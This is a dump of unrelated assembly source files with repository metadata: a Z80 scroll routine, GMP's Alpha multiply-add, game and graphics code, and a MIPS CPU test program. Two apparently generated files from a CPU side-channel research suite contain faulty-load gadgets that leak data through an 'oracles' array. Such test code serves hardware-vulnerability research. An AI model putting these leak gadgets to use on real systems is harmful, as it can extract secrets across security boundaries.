asm_tshc_py2saddr ; hl = screen address corresponding to first scroll row L IF __USE_SPECTRUM_128_SECOND_DFILE ld de,$c000 ELSE ld de,$4000 ; de = destination address of first scroll row ENDIF copy_up_loop_1: push bc IF __CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_LDIR EXTERN l_ldi call l_ldi - (31*2) ELSE ld bc,31 ldir ENDIF ld a,(hl) ld (de),a set 5,d set 5,h IF __CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_LDIR EXTERN l_ldd call l_ldd - (31*2) ELSE ld bc,31 lddr ENDIF ld a,(hl) ld (de),a res 5,d res 5,h ex de,hl call asm_tshc_saddrpdown ex de,hl call asm_tshc_saddrpdown pop bc djnz copy_up_loop_1 ;; clear vacated area pop bc ld b,c ; b = scroll amount = number of vacated rows ex de,hl pop de ld a,e ; a = attr byte vacate_loop_0: push bc ld (hl),0 ld e,l ld d,h inc e IF __CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_LDIR EXTERN l_ldi call l_ldi - (31*2) ELSE ld bc,31 ldir ENDIF set 5,d set 5,h ld (hl),a dec de dec e IF __CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_LDIR EXTERN l_ldd call l_ldd - (31*2) ELSE ld bc,31 lddr ENDIF ld c,a call asm_tshc_saddrpdown ld a,c pop bc djnz vacate_loop_0 ret
14.333333
88
0.554531
c4e6834b615713ffb543d28ce3d1fdfdf7807334
2,791
asm
Assembly
libtool/src/gmp-6.1.2/mpn/alpha/addmul_1.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
1,602
2015-01-06T11:26:31.000Z
2022-03-30T06:17:21.000Z
libtool/src/gmp-6.1.2/mpn/alpha/addmul_1.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
11,789
2015-01-05T04:50:15.000Z
2022-03-31T23:39:19.000Z
libtool/src/gmp-6.1.2/mpn/alpha/addmul_1.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
498
2015-01-08T18:58:18.000Z
2022-03-20T15:37:45.000Z
dnl Alpha mpn_addmul_1 -- Multiply a limb vector with a limb and add the dnl result to a second limb vector. dnl Copyright 1992, 1994, 1995, 2000, 2002 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C EV4: 42 C EV5: 18 C EV6: 7 C INPUT PARAMETERS C rp r16 C up r17 C n r18 C vl r19 ASM_START() PROLOGUE(mpn_addmul_1) ldq r2,0(r17) C r2 = s1_limb addq r17,8,r17 C s1_ptr++ subq r18,1,r18 C size-- mulq r2,r19,r3 C r3 = prod_low ldq r5,0(r16) C r5 = *res_ptr umulh r2,r19,r0 C r0 = prod_high beq r18,$Lend1 C jump if size was == 1 ldq r2,0(r17) C r2 = s1_limb addq r17,8,r17 C s1_ptr++ subq r18,1,r18 C size-- addq r5,r3,r3 cmpult r3,r5,r4 stq r3,0(r16) addq r16,8,r16 C res_ptr++ beq r18,$Lend2 C jump if size was == 2 ALIGN(8) $Loop: mulq r2,r19,r3 C r3 = prod_low ldq r5,0(r16) C r5 = *res_ptr addq r4,r0,r0 C cy_limb = cy_limb + 'cy' subq r18,1,r18 C size-- umulh r2,r19,r4 C r4 = cy_limb ldq r2,0(r17) C r2 = s1_limb addq r17,8,r17 C s1_ptr++ addq r3,r0,r3 C r3 = cy_limb + prod_low cmpult r3,r0,r0 C r0 = carry from (cy_limb + prod_low) addq r5,r3,r3 cmpult r3,r5,r5 stq r3,0(r16) addq r16,8,r16 C res_ptr++ addq r5,r0,r0 C combine carries bne r18,$Loop $Lend2: mulq r2,r19,r3 C r3 = prod_low ldq r5,0(r16) C r5 = *res_ptr addq r4,r0,r0 C cy_limb = cy_limb + 'cy' umulh r2,r19,r4 C r4 = cy_limb addq r3,r0,r3 C r3 = cy_limb + prod_low cmpult r3,r0,r0 C r0 = carry from (cy_limb + prod_low) addq r5,r3,r3 cmpult r3,r5,r5 stq r3,0(r16) addq r5,r0,r0 C combine carries addq r4,r0,r0 C cy_limb = prod_high + cy ret r31,(r26),1 $Lend1: addq r5,r3,r3 cmpult r3,r5,r5 stq r3,0(r16) addq r0,r5,r0 ret r31,(r26),1 EPILOGUE(mpn_addmul_1) ASM_END()
27.91
79
0.704765
f742d4e15045b01f70486490ea4ace83aeb2ccfe
190
asm
Assembly
gfx/pokemon/venonat/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/venonat/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/venonat/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
frame 2, 10 frame 0, 10 frame 2, 10 frame 0, 06 frame 1, 06 frame 0, 06 setrepeat 3 frame 1, 04 frame 0, 04 dorepeat 7 setrepeat 2 frame 1, 02 frame 0, 02 dorepeat 11 endanim
11.875
12
0.663158
5ba5334751f1c2712230396595f52ed3cc77d702
215
asm
Assembly
libsrc/graphics/generic_console/respixl6.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/graphics/generic_console/respixl6.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/graphics/generic_console/respixl6.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1
2019-12-03T23:28:20.000Z
2019-12-03T23:28:20.000Z
; ; Generic pseudo graphics routines for text-only platforms ; ; Reset pixel at (x,y) coordinate. SECTION code_clib PUBLIC respixel .respixel defc NEEDunplot = 1 INCLUDE "pixel6.asm"
13.4375
64
0.660465
2f2a1aebfda2e603dbf5cfc920e9aee7901534ab
1,489
asm
Assembly
statsRoutines.asm
RevolutionSoftware/Juego
31c1706e41713e9bcf631f369b89ce1f94bef0d5
[ "Unlicense" ]
1
2021-09-18T21:02:45.000Z
2021-09-18T21:02:45.000Z
statsRoutines.asm
RevolutionSoftware/Juego
31c1706e41713e9bcf631f369b89ce1f94bef0d5
[ "Unlicense" ]
null
null
null
statsRoutines.asm
RevolutionSoftware/Juego
31c1706e41713e9bcf631f369b89ce1f94bef0d5
[ "Unlicense" ]
null
null
null
startMenu: call drawMap ; erase the screen [drawMap.asm] call drawPlayer ; player was erased in the call above xor a ; default option selected ld hl,startMenuTxt call drawMenu call menuGetkey jp main ;if they cancel out of the menu with [Alpha], go back to the main loop dispStats: call clearGbuf ld bc,$4060 ;dimensions ld de,$0000 ;coords ld hl,statsMenuTxt ;txt call drawTextBox call drawGbuf call pause jr startMenu dispItems: ld hl,playerInventory ld a,(hl) or a jr z,noItems exx ld hl,itemMenuTxt ld (hl),a ;# of items inc hl exx ld b,a ld ix,subMenu1Txt createItemListLoop: inc hl ;points to first item ID ld e,(hl) inc hl ;item amount ld d,(hl) push de exx pop de ld (hl),MN inc hl ld (hl),ITEM inc hl ld (hl),e inc hl ld (hl),NEWX inc hl ld (hl),82 inc hl ld (hl),NUM8 inc hl ld (hl),d inc hl ld (hl),NEWL inc hl ;.db MN,ITEM,[ID],NEWX,70,NUM8,[#],NEWL exx ld (ix),ITEMD inc ix ld (ix),e inc ix ld (ix),0 inc ix ;.db ITEMD,[ID],0 djnz createItemListLoop ;zero terminate the string xor a exx dec hl ld (hl),a ;this overwrites the last NEWL with a 0 ;just ignore shadows ld hl,itemMenuTxt ld de,$0000 ;y,x ld bc,$2E60 ;width,height ld a,5 ;how many items to be drawn at a time call drawMenuScroll ld de,$002C ;e=y,d=x ld bc,$1460 ;width,height call installSub1 call menuGetkey jp startMenu noItems: ld hl,noItemsTxt call drawDialog jp startMenu
17.313953
82
0.672263
570b7236acaf182d2ad78bc9c73a49fa654fa1e7
5,198
asm
Assembly
core.asm
Sweetnow/mips-pipeline-cpu
b42ad2cdf66361c7285a7e4ae34350d935bf3b0f
[ "MIT" ]
2
2020-08-04T09:33:48.000Z
2020-08-09T14:05:11.000Z
core.asm
Sweetnow/mips-pipeline-cpu
b42ad2cdf66361c7285a7e4ae34350d935bf3b0f
[ "MIT" ]
1
2020-08-09T14:06:34.000Z
2020-08-14T04:48:16.000Z
core.asm
Sweetnow/mips-pipeline-cpu
b42ad2cdf66361c7285a7e4ae34350d935bf3b0f
[ "MIT" ]
null
null
null
.text j __main j __interrupt j __exception __main: # reset sp addi $sp, $zero, 0x800 # reset digits addi $27, $zero, 1 addi $28, $zero, 0x0000 # reset timer lui $t8, 0x4000 # $t8: timer base addr sw $zero, 0x0008($t8) lui $t9, 0xffff # TH -50000 addi $t9, $t9, 0xb3f8 sw $t9, 0($t8) ori $t9, $t9, 0xffff sw $t9, 0x0004($t8) addi $t9, $zero, 3 sw $t9, 0x0008($t8) la $t9, main andi $t9, $t9, 0x07ff jr $t9 __interrupt: # close timer addi $sp, $sp, -24 sw $1, 20($sp) sw $t7, 16($sp) sw $t8, 12($sp) sw $t9, 8($sp) sw $t0, 4($sp) sw $t1, 0($sp) lui $t8, 0x4000 # $t8: timer base addr lw $t9, 0x0008($t8) # TCON andi $t9, $t9, 0xfff9 sw $t9, 0x0008($t8) # Interrupt Program START # $27 - WHICH ONE IS SHOWED BEFORE # $28 - SHOW NUMBER srl $t1, $28, 0 beq $27, 1, __show srl $t1, $28, 4 beq $27, 2, __show srl $t1, $28, 8 beq $27, 4, __show srl $t1, $28, 12 beq $27, 8, __show __show: andi $t1, $t1, 0x000f addi $t0, $zero, 0x00C0 beq $t1, 0, __digit_out addi $t0, $zero, 0x00F9 beq $t1, 1, __digit_out addi $t0, $zero, 0x00A4 beq $t1, 2, __digit_out addi $t0, $zero, 0x00B0 beq $t1, 3, __digit_out addi $t0, $zero, 0x0099 beq $t1, 4, __digit_out addi $t0, $zero, 0x0092 beq $t1, 5, __digit_out addi $t0, $zero, 0x0082 beq $t1, 6, __digit_out addi $t0, $zero, 0x00F8 beq $t1, 7, __digit_out addi $t0, $zero, 0x0080 beq $t1, 8, __digit_out addi $t0, $zero, 0x0090 beq $t1, 9, __digit_out addi $t0, $zero, 0x0088 beq $t1, 10, __digit_out addi $t0, $zero, 0x0083 beq $t1, 11, __digit_out addi $t0, $zero, 0x00C6 beq $t1, 12, __digit_out addi $t0, $zero, 0x00A1 beq $t1, 13, __digit_out addi $t0, $zero, 0x0086 beq $t1, 14, __digit_out addi $t0, $zero, 0x008E beq $t1, 15, __digit_out addi $t0, $zero, 0x00FF __digit_out: nor $t1, $27, $zero sll $t1, $t1, 8 andi $t1, $t1, 0x0f00 add $t1, $t0, $t1 sw $t1, 0x10($t8) beq $27, 8, __reset sll $27, $27, 1 j __out __reset: addi $27, $zero, 1 __out: # Interrupt Program END addi $t7, $zero, 0x0002 or $t9, $t9, $t7 sw $t9, 0x0008($t8) lw $t1, 0($sp) lw $t0, 4($sp) lw $t9, 8($sp) lw $t8, 12($sp) lw $t7, 16($sp) lw $1, 20($sp) addi $sp, $sp, 24 jr $k0 __exception: # Exception Program START addi $sp, $sp, -12 sw $1, 8($sp) sw $t8, 4($sp) sw $t9, 0($sp) lui $t8, 0x4000 lw $t9, 0xC($t8) ori $t9, $t9, 0x0080 sw $t9, 0xC($t8) lw $t9, 0($sp) lw $t8, 4($sp) lw $1, 8($sp) addi $sp, $sp, 12 # Exception Program END addi $k0, $k0, 4 jr $k0 main: lw $a2, 0($zero) # copy data li $t2, 0 # cnt li $t0, 4 addi $t1, $a2, 1 sll $t1, $t1, 2 # new base addr move $a0, $t1 move $s2, $a0 move $s4, $a2 in_copy: beq $t2, $a2, out_copy sll $t3, $t2, 2 add $t4, $t3, $t0 lw $t7, 0($t4) add $t4, $t3, $t1 sw $t7, 0($t4) addi $t2, $t2, 1 j in_copy out_copy: # call quicksort lui $t0, 0x4000 lw $s0, 0x14($t0) # $s0 - START CLK li $a1, 0 addi $a2, $a2, -1 jal quicksort lui $t0, 0x4000 lw $s1, 0x14($t0) # $s1 - END CLK sub $28, $s1, $s0 srl $28, $28, 16 jal delay sub $28, $s1, $s0 lw $t1, 0xC($t0) ori $t1, $t1, 0x0001 sw $t1, 0xC($t0) jal exit quicksort: addi $sp, $sp, -20 # save s0,1,2,ra,i sw $ra, 16($sp) sw $s3, 12($sp) sw $s2, 8($sp) sw $s1, 4($sp) sw $s0, 0($sp) move $s0, $a0 # arr move $s1, $a1 # left move $s2, $a2 # right move $t0, $s1 # $t0 = i = left move $t1, $s2 # $t1 = j = right add $t2, $s1, $s2 # $t2 = i + j srl $t2, $t2, 1 # $t2 /= 2 sll $t2, $t2, 2 # for lw add $t2, $s0, $t2 # $t2 = arr + (i + j)/2 lw $t2, ($t2) # $t2 = mid loop1: bgt $t0, $t1, exit1 # if i>j, break loop2: sll $t3, $t0, 2 add $t4, $s0, $t3 # $t4 = arr + i lw $t5, ($t4) # $t5 = arr[i] bge $t5, $t2, loop3 # if arr[i] >= mid, break addi $t0, $t0, 1 # i++ j loop2 loop3: sll $t3, $t1, 2 add $t6, $s0, $t3 # $t6 = arr + j lw $t7, ($t6) # $t7 = arr[j] ble $t7, $t2, exit3 # if arr[j] <= mid, break addi $t1, $t1, -1 # j-- j loop3 exit3: bgt $t0, $t1, loop1 # if i > j, break move $t3, $t5 move $t5, $t7 move $t7, $t3 # swap(arr[i],arr[j]) sw $t5, ($t4) sw $t7, ($t6) addi $t0, $t0, 1 # i++ addi $t1, $t1, -1 # j-- move $s3, $t0 exit1: bge $s1, $t1, skip1 # if left >= j, skip move $a1, $s1 move $a2, $t1 jal quicksort skip1: bge $s3, $s2, skip2 # if i >= right, skip move $a1, $s3 move $a2, $s2 jal quicksort skip2: lw $s0, 0($sp) # reload s0,1,2 lw $s1, 4($sp) lw $s2, 8($sp) lw $s3, 12($sp) lw $ra, 16($sp) addi $sp, $sp, 20 jr $ra exit: li $s3, 0 show: jal delay sll $t0, $s3, 2 add $t0, $s2, $t0 lw $28, 0($t0) #move $28, $t0 addi $s3, $s3, 1 blt $s3, $s4, show lui $t0, 0x4000 lw $t1, 0xC($t0) ori $t1, $t1, 0x2 sw $t1, 0xC($t0) death_loop: nop nop nop j death_loop # function delay some cycle delay: lui $t0, 0x4000 lw $t6, 0x14($t0) # $t6: SYSCLK START li $t1, 0x0510FF40 # 85MHz 1s in_delay: lw $t7, 0x14($t0) # $t7: SYSCLK END sub $t7, $t7, $t6 bgt $t7, $t1, out_delay j in_delay out_delay: jr $ra
20.959677
52
0.542901
529fde836d4be958b4892d3f71317a2e68188f6c
5,677
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_640.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_640.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_640.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x14d44, %r13 nop nop nop nop nop cmp %r11, %r11 movw $0x6162, (%r13) nop sub $17308, %r12 lea addresses_D_ht+0x13724, %rsi lea addresses_D_ht+0x3724, %rdi sub %rbx, %rbx mov $79, %rcx rep movsl nop nop nop nop cmp %rdi, %rdi lea addresses_UC_ht+0x9724, %r11 nop add %rcx, %rcx movups (%r11), %xmm7 vpextrq $0, %xmm7, %r9 nop nop xor $65275, %r11 lea addresses_UC_ht+0x15888, %rsi lea addresses_D_ht+0x1e4c4, %rdi nop dec %rbx mov $41, %rcx rep movsq add $15451, %r12 lea addresses_WT_ht+0x12604, %rdi nop nop nop add $39849, %r12 mov $0x6162636465666768, %r9 movq %r9, (%rdi) sub %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r9 push %rax push %rcx push %rdx // Store lea addresses_PSE+0xfb24, %rcx nop nop nop nop dec %r9 mov $0x5152535455565758, %rdx movq %rdx, (%rcx) sub %rax, %rax // Store lea addresses_A+0xa724, %rdx nop nop nop nop cmp %rcx, %rcx mov $0x5152535455565758, %rax movq %rax, %xmm0 movups %xmm0, (%rdx) nop nop and %r9, %r9 // Faulty Load lea addresses_PSE+0xfb24, %r14 clflush (%r14) nop dec %r11 mov (%r14), %dx lea oracles, %rax and $0xff, %rdx shlq $12, %rdx mov (%rax,%rdx,1), %rdx pop %rdx pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
42.051852
2,999
0.657918
b2c74839ce57669fb9748fb03accf9786506a099
6,646
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_951.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_951.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_951.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x11094, %r14 nop nop xor $47520, %r15 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 and $0xffffffffffffffc0, %r14 movaps %xmm2, (%r14) nop nop inc %rcx lea addresses_WC_ht+0xb896, %rdx nop nop nop cmp $8476, %rsi movb $0x61, (%rdx) nop nop nop nop nop add %rcx, %rcx lea addresses_WC_ht+0x8dde, %r14 nop nop nop nop add %rsi, %rsi mov (%r14), %rcx nop nop nop nop xor %rsi, %rsi lea addresses_D_ht+0x7896, %rsi lea addresses_WT_ht+0x2296, %rdi nop sub %r13, %r13 mov $99, %rcx rep movsl xor $10991, %r15 lea addresses_normal_ht+0x18cb6, %rsi add $30507, %rdx mov $0x6162636465666768, %r14 movq %r14, (%rsi) nop add %r15, %r15 lea addresses_WT_ht+0x15956, %rdi nop nop xor $1480, %r13 mov (%rdi), %dx nop cmp $12224, %r13 lea addresses_UC_ht+0x9096, %rcx nop nop nop nop nop and %rdx, %rdx and $0xffffffffffffffc0, %rcx movntdqa (%rcx), %xmm4 vpextrq $0, %xmm4, %rdi nop nop nop dec %r14 lea addresses_normal_ht+0xd5ed, %rdi nop nop sub $11580, %r15 mov $0x6162636465666768, %r14 movq %r14, %xmm4 movups %xmm4, (%rdi) nop nop nop nop nop xor $8719, %rdx lea addresses_WT_ht+0x12ce2, %r15 nop nop nop xor %rcx, %rcx movb $0x61, (%r15) nop nop mfence lea addresses_D_ht+0x12696, %rdx nop nop nop nop sub $20093, %rdi mov (%rdx), %r13d nop nop cmp %rdx, %rdx lea addresses_normal_ht+0x5456, %r15 nop dec %rcx movl $0x61626364, (%r15) nop nop nop nop nop dec %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r9 push %rax push %rcx push %rdi push %rdx // Faulty Load lea addresses_A+0x16896, %rdi nop nop nop nop xor %rcx, %rcx movups (%rdi), %xmm7 vpextrq $1, %xmm7, %r9 lea oracles, %rdx and $0xff, %r9 shlq $12, %r9 mov (%rdx,%r9,1), %r9 pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 